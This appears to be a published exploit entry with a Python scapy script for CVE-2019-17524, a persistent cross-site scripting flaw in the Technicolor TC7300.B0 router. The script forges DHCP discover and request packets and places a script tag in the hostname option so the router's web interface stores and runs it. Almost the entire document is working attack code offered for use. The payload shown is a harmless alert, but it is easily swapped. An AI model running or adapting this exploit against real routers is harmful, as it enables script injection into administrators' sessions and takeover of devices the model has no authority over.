Technicolor TC7300.B0 - hostname Persistent Cross-Site Scripting
# Exploit Title: Technicolor TC7300.B0 - 'hostname' Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2019-11-11
# Exploit Author: Luis Stefan
# Vendor Homepage: https://www.technicolor.com/
# Software Link: N/A
# Version: TC7300.B0 - STFA.51.20
# Tested on: macOS Mojave and Catalina
# CVE :
#!/usr/bin/env python3
__author__ = "Luis Stefan"
__license__ = "MIT"
__version__ = "1.0"
__email__ = "[email protected]"
__description__ = """CVE-2019-17524.py: This script is used to exploit a xss vulnerability found in a technicolor device."""
from enum import IntEnum
from scapy.all import *
import codecs, threading, time
# Define your network interface
interface = 'en0'
# Insert your interface card mac address
mac = 'xx:xx:xx:xx:xx:xx'
broadcast = 'ff:ff:ff:ff:ff:ff'
mac_hxd = codecs.decode(mac.replace(':', ''),'hex')
class Bootp(IntEnum):
Discover = 1
Offer = 2
Request = 3
Decline = 4
Ack = 5
Nak = 6
Release = 7
def dhcp_discover():
disc_pkt = Ether(src=mac, dst=broadcast) / \
IP(src='0.0.0.0', dst='255.255.255.255') / \
UDP(dport=67, sport=68) / BOOTP(chaddr=mac_hxd) / \
DHCP(options=[('message-type', 'discover'), 'end'])
sendp(disc_pkt, iface=interface)
def dhcp_request(pkt):
yraddr = pkt['BOOTP'].yraddr
# gwaddr == Gateway Ip Address
gwaddr = '192.168.0.1'
param_req_list = []
hostname = "<script>alert('XSS triggered')</script>"
req_pkt = Ether(src=mac, dst=broadcast) / \
IP(src='0.0.0.0', dst='255.255.255.255') / \
UDP(dport=67, sport=68) / BOOTP(chaddr=mac_hxd) / \
DHCP(options=[('message-type', 'request'), ('server_id', gwaddr),
('requested_addr', yraddr), ('hostname', hostname), 'end'])
sendp(req_pkt, iface=interface)
def dhcp(pkt):
print(pkt.display())
print("#############################################################")
if pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Offer:
dhcp_request(pkt)
elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Ack:
print("Server Acknowledged")
sys.exit(0)
elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Decline:
print("Server Declined")
sys.exit(0)
elif pkt.haslayer(DHCP) and pkt['DHCP'].options[0][1] == Bootp.Nak:
print("Server Nak")
sys.exit(0)
def ver_dhcp():
print("Verifying DHCP port traffic..")
sniff(iface=interface, prn=dhcp, filter="port 68 and port 67", timeout=20)
sys.exit(0)
def main():
t1 = threading.Thread(target=ver_dhcp, args=())
t1.setDaemon = True
t1.start()
time.sleep(2)
dhcp_discover()
if __name__ == "__main__":
main()